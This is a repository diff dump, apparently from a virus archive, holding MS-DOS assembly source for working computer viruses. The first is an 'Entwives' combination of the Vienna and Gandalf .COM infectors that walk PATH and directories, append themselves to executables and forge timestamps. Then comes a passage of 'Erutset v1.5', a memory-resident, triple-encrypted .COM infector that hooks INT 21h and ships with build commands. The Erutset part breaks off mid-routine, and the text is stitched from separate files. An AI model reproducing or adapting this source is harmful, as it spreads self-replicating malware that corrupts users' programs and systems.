|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
|
||||
;*************************************************************
|
||||
; Save the DTA address
|
||||
;*************************************************************
|
||||
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES ;Save the DTA address
|
||||
|
||||
POP ES
|
||||
|
||||
;*************************************************************
|
||||
; Set DTA to point inside the virus data area
|
||||
;*************************************************************
|
||||
|
||||
MOV DX,dta ;Offset of new DTA in virus data area
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Compute DTA address
|
||||
MOV AH,1AH
|
||||
INT 21H ;Set new DTA to inside our own code
|
||||
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0 ;ES:DI points to environment
|
||||
|
||||
;************************************************************
|
||||
; Find the "PATH=" string in the environment
|
||||
;************************************************************
|
||||
|
||||
find_path:
|
||||
POP SI
|
||||
PUSH SI ;Get SI back
|
||||
ADD SI,env_str ;Point to "PATH=" string in data area
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
|
||||
REPNZ SCASB ;Search for first character
|
||||
MOV CX,4
|
||||
|
||||
;************************************************************
|
||||
; Loop to check for the next four characters
|
||||
;************************************************************
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
JNZ find_path ;If not all there, abort & start over
|
||||
LOOP check_next_4 ;Loop to check the next character
|
||||
|
||||
POP SI
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI ;Save the address of the PATH
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc ;File name workspace
|
||||
MOV BX,SI ;Save a copy of SI
|
||||
ADD SI,wrk_spc ;Point SI to workspace
|
||||
MOV DI,SI ;Point DI to workspace
|
||||
JMP SHORT slash_ok
|
||||
|
||||
;**********************************************************
|
||||
; Look in the PATH for more subdirectories, if any
|
||||
;**********************************************************
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
|
||||
JNZ found_subdir ;If not, there are more subdirectories
|
||||
JMP all_done ;Else, we're all done
|
||||
|
||||
;**********************************************************
|
||||
; Here if there are more subdirectories in the path
|
||||
;**********************************************************
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH ;DS points to environment segment
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
||||
ADD DI,wrk_spc ;DI points to file name workspace
|
||||
|
||||
;***********************************************************
|
||||
; Move subdirectory name into file name workspace
|
||||
;***********************************************************
|
||||
|
||||
move_subdir:
|
||||
LODSB ;Get character
|
||||
CMP AL,';' ;Is it a ';' delimiter?
|
||||
JZ moved_one ;Yes, found another subdirectory
|
||||
CMP AL,0 ;End of PATH string?
|
||||
JZ moved_last_one ;Yes
|
||||
STOSB ;Save PATH marker into [DI]
|
||||
JMP SHORT move_subdir
|
||||
|
||||
;******************************************************************
|
||||
; Mark the fact that we're looking through the final subdirectory
|
||||
;******************************************************************
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
;******************************************************************
|
||||
; Here after we've moved a subdirectory
|
||||
;******************************************************************
|
||||
|
||||
moved_one:
|
||||
POP BX ;Pointer to virus data area
|
||||
POP DS ;Restore DS
|
||||
MOV [BX+path_ad],SI ;Address of next subdirectory
|
||||
NOP
|
||||
|
||||
;******************************************************************
|
||||
; Make sure subdirectory ends in a "\"
|
||||
;******************************************************************
|
||||
|
||||
CMP CH,'\' ;Ends with "\"?
|
||||
JZ slash_ok ;If yes
|
||||
MOV AL,'\' ;Add one, if not
|
||||
STOSB
|
||||
|
||||
;******************************************************************
|
||||
; Here after we know there's a backslash at end of subdir
|
||||
;******************************************************************
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
||||
MOV SI,BX ;Restore SI
|
||||
ADD SI,f_spec ;Point to "*.COM"
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move "*.COM",0 to workspace
|
||||
|
||||
MOV SI,BX
|
||||
|
||||
;*******************************************************************
|
||||
; Find first string matching *.COM
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;DX points to "*.COM" in workspace
|
||||
MOV CX,3 ;Attributes of Read Only or Hidden OK
|
||||
INT 21H
|
||||
|
||||
JMP SHORT find_first
|
||||
|
||||
;*******************************************************************
|
||||
; Find next ASCIIZ string matching *.COM
|
||||
;*******************************************************************
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||||
|
||||
;*******************************************************************
|
||||
; Here when we find a file
|
||||
;*******************************************************************
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1FH ;Mask to remove all but seconds
|
||||
CMP AL,1FH ;62 seconds -> already infected
|
||||
JZ find_next ;If so, go find another file
|
||||
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
|
||||
JA find_next ;If too long, find another one
|
||||
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
|
||||
MOV DI,[SI+nam_ptr] ;DI points to file name
|
||||
PUSH SI ;Save SI
|
||||
ADD SI,dta_nam ;Point SI to file name
|
||||
|
||||
;********************************************************************
|
||||
; Move the name to the end of the path
|
||||
;********************************************************************
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars ;Move characters until we find a 00
|
||||
|
||||
;********************************************************************
|
||||
; Get File Attributes
|
||||
;********************************************************************
|
||||
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc ;Point to \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
MOV [SI+old_att],CX ;Save the old attributes
|
||||
|
||||
;********************************************************************
|
||||
; Rewrite the attributes to allow writing to the file
|
||||
;********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4301H ;Set attributes
|
||||
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
|
||||
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Point to \path\name
|
||||
INT 21H
|
||||
|
||||
;********************************************************************
|
||||
; Open Read/Write channel to the file
|
||||
;********************************************************************
|
||||
|
||||
MOV AX,OFFSET 3D02H ;Read/Write
|
||||
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Point to \path\name
|
||||
INT 21H
|
||||
|
||||
JNB opened_ok ;If file was opened OK
|
||||
JMP fix_attr ;If it failed, restore the attributes
|
||||
|
||||
;*******************************************************************
|
||||
; Get the file date & time
|
||||
;*******************************************************************
|
||||
|
||||
opened_ok:
|
||||
MOV BX,AX
|
||||
MOV AX,OFFSET 5700H
|
||||
INT 21H
|
||||
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
|
||||
;******************************************************************
|
||||
; Here's where we infect a .COM file with this virus
|
||||
;******************************************************************
|
||||
|
||||
infectcom:
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,first_3
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
|
||||
JB fix_time_stamp ;Quit, if read failed
|
||||
|
||||
CMP AX,3 ;Were we able to read all 3 bytes?
|
||||
JNZ fix_time_stamp ;Quit, if not
|
||||
|
||||
;******************************************************************
|
||||
; Move file pointer to end of file
|
||||
;******************************************************************
|
||||
|
||||
MOV AX,OFFSET 4202H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Quit, if it didn't work
|
||||
|
||||
MOV CX,AX ;DX:AX (long int) = file size
|
||||
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
|
||||
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
|
||||
|
||||
ADD CX,OFFSET c_len_y
|
||||
MOV DI,SI ;Point DI to virus data area
|
||||
SUB DI,OFFSET c_len_x
|
||||
;Point DI to reference vir_dat, at start of pgm
|
||||
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
|
||||
|
||||
;*******************************************************************
|
||||
; Write virus code to file
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
|
||||
MOV_CX virlen ;Length of virus, in bytes
|
||||
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||||
; address of virus code in memory
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
CMP AX,OFFSET virlen ;All bytes written?
|
||||
JNZ fix_time_stamp ;Jump if error
|
||||
|
||||
;**********************************************************************
|
||||
; Move file pointer to beginning of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4200H
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
|
||||
JB fix_time_stamp ;Jump if error
|
||||
|
||||
;**********************************************************************
|
||||
; Write the 3 byte JMP at the start of the file
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
MOV DX,SI ;Virus data area
|
||||
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old file date & time, with seconds modified to 62
|
||||
;**********************************************************************
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date] ;Old file date
|
||||
MOV CX,[SI+old_tim] ;Old file time
|
||||
AND CX,OFFSET 0FFE0H
|
||||
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
|
||||
MOV AX,OFFSET 5701H
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Close File
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Restore Old File Attributes
|
||||
;**********************************************************************
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H
|
||||
MOV CX,[SI+old_att] ;Old Attributes
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP
|
||||
ADD DX,SI ;DX points to \path\name in workspace
|
||||
INT 21H
|
||||
|
||||
;**********************************************************************
|
||||
; Here when it's time to close it up & end
|
||||
;**********************************************************************
|
||||
|
||||
all_done:
|
||||
PUSH DS
|
||||
|
||||
;**********************************************************************
|
||||
; Restore old DTA
|
||||
;**********************************************************************
|
||||
|
||||
MOV AH,1AH
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
|
||||
POP DS
|
||||
|
||||
;*************************************************************************
|
||||
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
|
||||
; in since the address in a real JMP 100 is an offset, and the offset
|
||||
; varies from one infected file to the next. By PUSHing an 0100H onto the
|
||||
; stack, we can RET to address 0100H just as though we JMPed there.
|
||||
;**********************************************************************
|
||||
|
||||
quit:
|
||||
POP CX
|
||||
XOR AX,AX
|
||||
XOR BX,BX
|
||||
XOR DX,DX
|
||||
XOR SI,SI
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
|
||||
RET 0FFFFH
|
||||
|
||||
; This is GANDALF. The second of the two viruses which the file could
|
||||
; be infected by. Gandalf, unlike Vienna, only will infect with it's
|
||||
; own code, instead of the code for both it and Vienna.
|
||||
|
||||
; Kudos to G^2 for the code for Gandalf
|
||||
; Gandalf by Ender
|
||||
|
||||
carrier:
|
||||
db 0E9h,0,0 ; jmp start
|
||||
|
||||
start:
|
||||
call next
|
||||
next:
|
||||
pop bp
|
||||
sub bp, offset next
|
||||
|
||||
mov ah, 0047h ; Get directory
|
||||
lea si, [bp+offset origdir+1]
|
||||
cwd ; Default drive
|
||||
int 0021h
|
||||
|
||||
lea dx, [bp+offset newDTA]
|
||||
mov ah, 001Ah ; Set DTA
|
||||
int 0021h
|
||||
|
||||
mov ax, 3524h
|
||||
int 0021h
|
||||
push es
|
||||
push bx
|
||||
|
||||
lea dx, [bp+INT24] ; ASSumes ds=cs
|
||||
mov ax, 2524h
|
||||
int 0021h
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
restore_COM:
|
||||
mov di, 0100h
|
||||
push di
|
||||
lea si, [bp+offset old3]
|
||||
movsb
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfect], 0000h
|
||||
traverse_loop:
|
||||
lea dx, [bp+offset COMmask]
|
||||
call infect
|
||||
cmp [bp+numinfect], 0007h
|
||||
jae exit_traverse ; exit if enough infected
|
||||
|
||||
mov ah, 003Bh ; CHDIR
|
||||
lea dx, [bp+offset dot_dot] ; go to previous dir
|
||||
int 0021h
|
||||
jnc traverse_loop ; loop if no error
|
||||
|
||||
exit_traverse:
|
||||
|
||||
lea si, [bp+offset origdir]
|
||||
mov byte ptr [si], '\'
|
||||
mov ah, 003Bh ; restore directory
|
||||
xchg dx, si
|
||||
int 0021h
|
||||
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax, 2524h
|
||||
int 0021h
|
||||
|
||||
|
||||
mov dx, 0080h ; in the PSP
|
||||
mov ah, 001Ah ; restore DTA to default
|
||||
int 0021h
|
||||
|
||||
return:
|
||||
ret
|
||||
|
||||
old3 db 0cdh,20h,0
|
||||
|
||||
INT24:
|
||||
mov al, 0003h
|
||||
iret
|
||||
|
||||
infect:
|
||||
mov cx, 0007h ; all files
|
||||
mov ah, 004Eh ; find first
|
||||
findfirstnext:
|
||||
int 0021h
|
||||
jc return
|
||||
mov ax, 4300h
|
||||
lea dx, [bp+newDTA+30]
|
||||
int 0021h
|
||||
jc return
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ax, 4301h ; clear file attributes
|
||||
push ax ; save for later use
|
||||
xor cx, cx
|
||||
int 0021h
|
||||
|
||||
mov ax, 3D02h
|
||||
lea dx, [bp+newDTA+30]
|
||||
int 0021h
|
||||
mov bx, ax ; xchg ax,bx is more efficient
|
||||
|
||||
mov ax, 5700h ; get file time/date
|
||||
int 0021h
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah, 003Fh
|
||||
mov cx, 001Ah
|
||||
lea dx, [bp+offset readbuffer]
|
||||
int 0021h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd
|
||||
int 0021h
|
||||
|
||||
cmp word ptr [bp+offset readbuffer], 'ZM'
|
||||
jz jmp_close
|
||||
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
|
||||
add cx, heap-start+3 ; convert to filesize
|
||||
cmp ax, cx ; equal if already infected
|
||||
jl skipp
|
||||
jmp_close:
|
||||
jmp close
|
||||
skipp:
|
||||
|
||||
cmp ax, 65535-(endheap-start) ; check if too large
|
||||
ja jmp_close ; Exit if so
|
||||
|
||||
cmp ax, (heap-start) ; check if too small
|
||||
jb jmp_close ; Exit if so
|
||||
|
||||
lea si, [bp+offset readbuffer]
|
||||
lea di, [bp+offset old3]
|
||||
movsb
|
||||
movsw
|
||||
|
||||
sub ax, 0003h
|
||||
mov word ptr [bp+offset readbuffer+1], ax
|
||||
mov dl, 00E9h
|
||||
mov byte ptr [bp+offset readbuffer], dl
|
||||
lea dx, [bp+offset start]
|
||||
mov ah, 0040h ; concatenate virus
|
||||
mov cx, heap-start
|
||||
int 0021h
|
||||
|
||||
xor cx, cx
|
||||
mov ax, 4200h
|
||||
xor dx, dx
|
||||
int 0021h
|
||||
|
||||
|
||||
mov cx, 0003h
|
||||
lea dx, [bp+offset readbuffer]
|
||||
mov ah, 0040h
|
||||
int 0021h
|
||||
|
||||
inc [bp+numinfect]
|
||||
|
||||
close:
|
||||
mov ax, 5701h ; restore file time/date
|
||||
pop dx
|
||||
pop cx
|
||||
int 0021h
|
||||
|
||||
mov ah, 003Eh
|
||||
int 0021h
|
||||
|
||||
pop ax ; restore file attributes
|
||||
pop dx ; get filename and
|
||||
pop cx ; attributes from stack
|
||||
int 0021h
|
||||
|
||||
mov ah, 004Fh ; find next
|
||||
jmp findfirstnext
|
||||
|
||||
; Data for Gandalf Virus
|
||||
author db 'Entwives: Two-in-one G by Ender'
|
||||
COMmask db '*.COM',0
|
||||
dot_dot db '..',0
|
||||
|
||||
heap:
|
||||
newDTA db 43 dup (?)
|
||||
origdir db 65 dup (?)
|
||||
numinfect db ?
|
||||
readbuffer db 1ah dup (?)
|
||||
endheap:
|
||||
|
||||
; Data from the Vienna virus
|
||||
;************************************************************************
|
||||
;The virus data starts here. It's accessed off the SI register, per the
|
||||
; comments as shown
|
||||
;************************************************************************
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
;Use this with (SI + old_dta)
|
||||
olddta_ DW 0 ;Old DTA offset
|
||||
|
||||
;Use this with (SI + old_dts)
|
||||
olddts_ DW 0 ;Old DTA segment
|
||||
|
||||
;Use this with (SI + old_tim)
|
||||
oldtim_ DW 0 ;Old Time
|
||||
|
||||
;Use this with (SI + ol_date)
|
||||
oldate_ DW 0 ;Old date
|
||||
|
||||
;Use this with (SI + old_att)
|
||||
oldatt_ DW 0 ;Old file attributes
|
||||
|
||||
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
|
||||
|
||||
first3_ EQU $
|
||||
INT 20H
|
||||
NOP
|
||||
|
||||
;Here's where the new JMP instruction is worked out
|
||||
|
||||
;Use this with (SI + jmp_op)
|
||||
jmpop_ DB 0E9H ;Start of JMP instruction
|
||||
|
||||
;Use this with (SI + jmp_dsp)
|
||||
jmpdsp_ DW 0 ;The displacement part
|
||||
|
||||
;This is the type of file we're looking to infect. (SI + f_spec)
|
||||
|
||||
fspec_ DB '*.COM',0
|
||||
|
||||
;Use this with (SI + path_ad)
|
||||
pathad_ DW 0 ;Path address
|
||||
|
||||
;Use this with (SI + nam_ptr)
|
||||
namptr_ DW 0 ;Pointer to start of file name
|
||||
|
||||
;Use this with (SI + env_str)
|
||||
envstr_ DB 'PATH=' ;Find this in the environment
|
||||
|
||||
;File name workspace (SI + wrk_spc)
|
||||
wrkspc_ DB 40h dup (0)
|
||||
|
||||
;Use this with (SI + dta)
|
||||
dta_ DB 16h dup (0) ;Temporary DTA goes here
|
||||
|
||||
;Use this with (SI + dta_tim)
|
||||
dtatim_ DW 0,0 ;Time stamp in DTA
|
||||
|
||||
;Use this with (SI + dta_len)
|
||||
dtalen_ DW 0,0 ;File length in the DTA
|
||||
|
||||
;Use this with (SI + dta_nam)
|
||||
dtanam_ DB 0Dh dup (0) ;File name in the DTA
|
||||
|
||||
creditauthor DB "Entwives: Two-in-one V by Ender" ; My credit
|
||||
|
||||
lst_byt EQU $ ;All lines that assemble into code are
|
||||
; above this one
|
||||
|
||||
;*****************************************************************************
|
||||
;The virus needs to know a few details about its own size and the size of its
|
||||
; code portion. Let the assembler figure out these sizes automatically.
|
||||
;*****************************************************************************
|
||||
|
||||
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
|
||||
codelen = vir_dat - v_start ;Length of virus code, only
|
||||
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
|
||||
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
|
||||
|
||||
;*****************************************************************************
|
||||
;Because this code is being appended to the end of an executable file, the
|
||||
; exact address of its variables cannot be known. All are accessed as offsets
|
||||
; from SI, which is represented as vir_dat in the below declarations.
|
||||
;*****************************************************************************
|
||||
|
||||
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
|
||||
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
|
||||
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
|
||||
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
|
||||
old_att = oldatt_ - vir_dat ;Displacement to old attributes
|
||||
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
|
||||
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
|
||||
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
|
||||
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
|
||||
path_ad = pathad_ - vir_dat ;Displacement to the path address
|
||||
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
|
||||
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
|
||||
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
|
||||
dta = dta_ - vir_dat ;Displacement to the temporary DTA
|
||||
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
|
||||
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
|
||||
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
|
||||
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,337 @@
|
|||
; ------------------------------------------------------------------------- ;
|
||||
; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - Memory resident .com appender, infects upon execution | Size: 637 ;
|
||||
; v1.1 - restores time/date & attributes also infects readonly `---------- ;
|
||||
; v1.2 - now has a single layer of XOR,NEG,ROR encryption ;
|
||||
; v1.3 - added a second layer of XOR,NEG,NOT,ROR,ROL encryption ;
|
||||
; v1.4 - added a third layer of XOR,NEG,NOT,ROR,ROL encryption ;
|
||||
; v1.5 - added a small payload, prints a string and waits for keypress ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; --------> Dedicated to the hate of all the '31337 h4x0rs' on IRC <------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm erutset.asm ;
|
||||
; to link :::::] tlink /t erutset.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
.286 ; needed for pusha/popa
|
||||
jumps ; save space wasted jumping
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to start of code
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into bp
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
decr: jmp once ; jump to once (overwritten)
|
||||
lea si,[bp+encd] ; load the source index up
|
||||
mov di,si ; move it into DI
|
||||
call encr ; decrypt the 1st layer
|
||||
|
||||
; --------------------( Start Of 1st Encryption Blanket )------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encd: lea si,[bp+d_encd] ; load the source index up
|
||||
mov di,si ; move it into DI again
|
||||
mov cx,d_encr-d_encd ; # of bytes to decrypt
|
||||
call d_encr ; decrypt the 2nd layer
|
||||
|
||||
; --------------------( Start Of 2nd Encryption Blanket )------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encd: lea si,[bp+t_encd] ; load the source index up
|
||||
mov di,si ; move it into DI again
|
||||
mov cx,t_encr-t_encd ; # of bytes to decrypt
|
||||
call t_encr ; decrypt the 3rd layer
|
||||
|
||||
; --------------------( Start Of 3rd Encryption Blanket )------------------ ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
t_encd: call pload ; check if payload time
|
||||
|
||||
mov ax,0deadh ; check if already resident
|
||||
int 21h ; if we are, bx = 0deadh now
|
||||
cmp bx,0deadh ; does bx hold 0deadh ?
|
||||
je first3 ; we are already resident!
|
||||
|
||||
sub word ptr cs:[2],80h ; lower top of PSP mem data
|
||||
mov ax,cs ; move CS into AX
|
||||
dec ax ; decrement AX
|
||||
mov ds,ax ; move AX into DS
|
||||
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
|
||||
xor ax,ax ; xor the value in ax to 0
|
||||
mov ds,ax ; move that value into DS
|
||||
sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
|
||||
mov ax,word ptr ds:[413h] ; move adjusted BIOS data
|
||||
mov cl,6 ; load cl with value of 6
|
||||
shl ax,cl ; multiply BIOS mem by 64
|
||||
mov es,ax ; move value into ES
|
||||
push cs ; push value of code segment
|
||||
pop ds ; into data segment register
|
||||
xor di,di ; xor value in DI to 0
|
||||
lea si,[bp+start] ; load the source index
|
||||
mov cx,finished-start ; # of bytes to load up
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
xor ax,ax ; value in ax to 0
|
||||
mov ds,ax ; move value into DS
|
||||
lea ax,isr ; point IVT to new ISR
|
||||
sub ax,offset start ; subtract start offset
|
||||
mov bx,es ; move es into bx
|
||||
|
||||
cli ; interrupts off
|
||||
xchg ax,word ptr ds:[84h] ; switch old/new int 21h
|
||||
xchg bx,word ptr ds:[86h] ; switch old/new int 21h
|
||||
mov word ptr es:[oi21-offset start],ax ; save the old int 21h
|
||||
mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
|
||||
sti ; interrupts on
|
||||
|
||||
push cs cs ; push code segment twice
|
||||
pop ds es ; into DS and ES registers
|
||||
|
||||
first3: lea si,[bp+saved] ; load up the source index
|
||||
mov di,100h ; load the destination index
|
||||
push di ; push 100h on to the stack
|
||||
movsw ; move two bytes now
|
||||
movsb ; move one byte now
|
||||
retn ; return control to host
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
isr: pushf ; push all flags
|
||||
cmp ax,0deadh ; are we testing if resident?
|
||||
jne exec ; nope, check for execution
|
||||
mov bx,0deadh ; yup, show them we are here
|
||||
popf ; pop all flags
|
||||
iret ; pop cs:ip+flags from stack
|
||||
|
||||
exec: pusha ; push all registers
|
||||
push ds ; push data segment register
|
||||
push es ; push extra segment register
|
||||
cmp ah,4bh ; something being executed?
|
||||
je infect ; yup! infect the file
|
||||
exit: pop es ; pop ES from the stack
|
||||
pop ds ; pop DS from the stack
|
||||
popa ; pop all registers
|
||||
popf ; pop all flags
|
||||
old21: db 0eah ; jump to original ISR
|
||||
oi21 dd ? ; old int 21 goes here
|
||||
ret ; return from call
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
infect: push bp ; save original delta offset
|
||||
call tsrdel ; push IP on to stack again
|
||||
tsrdel: pop bp ; pop it into bp
|
||||
sub bp,offset tsrdel ; get the 2nd delta offset
|
||||
|
||||
push ds ; push DS on to stack
|
||||
pop es ; pop it into es
|
||||
mov di,dx ; move file handle into di
|
||||
mov cx,64 ; 64 byte filename possible
|
||||
mov al,'.' ; load al with the .
|
||||
cld ; clear direction flag
|
||||
repnz scasb ; scan until . is hit
|
||||
cmp word ptr ds:[di],'OC' ; is the file .CO- ?
|
||||
jne abort ; not it isn't, abort
|
||||
cmp word ptr ds:[di+2],'M' ; is the file .--M ?
|
||||
jne abort ; no it isn't, abort
|
||||
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; get them now
|
||||
push cx ; push the attributes
|
||||
push dx ; push the file name
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to no attributes at all
|
||||
int 21h ; ready for infection
|
||||
|
||||
mov ax,3d02h ; open the file read/write
|
||||
int 21h ; open the file now
|
||||
xchg bx,ax ; move the file handle
|
||||
|
||||
push cs cs ; push CS on to stack twice
|
||||
pop ds es ; pop it into DS and ES
|
||||
|
||||
mov ax,5700h ; get time/date stamps
|
||||
int 21h ; get them now
|
||||
push dx ; save the date
|
||||
push cx ; save the time
|
||||
|
||||
mov ah,3fh ; the read function
|
||||
lea dx,[bp+saved] ; record the bytes here
|
||||
mov cx,3 ; read first three bytes
|
||||
int 21h ; first three recorded
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; DX:AX = file size now!
|
||||
|
||||
cmp dx,0 ; is the file < 65,535 bytes?
|
||||
jne close ; way to big, close it up
|
||||
mov cx,word ptr [bp+saved+1] ; move buffer+1 into cx
|
||||
add cx,finished-start+3 ; virus size + jump
|
||||
cmp ax,cx ; compare the two
|
||||
jz close ; if equal, close it up
|
||||
|
||||
sub ax,3 ; get jump to virus body size
|
||||
mov word ptr [bp+newjump+1],ax ; write as our new jump
|
||||
|
||||
mov ax,4200h ; point to start of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to SOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,3 ; write three bytes
|
||||
lea dx,[bp+newjump] ; write the jump
|
||||
int 21h ; jump is written
|
||||
|
||||
mov ax,4202h ; point to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to EOF
|
||||
|
||||
lea si,[bp+start] ; load the source index
|
||||
lea di,[bp+buffer] ; load the destination index
|
||||
mov cx,finished-start ; # of bytes to put in mem
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
lea di,[bp+t_encd-start+buffer] ; load the source index
|
||||
mov si,di ; load the destination index
|
||||
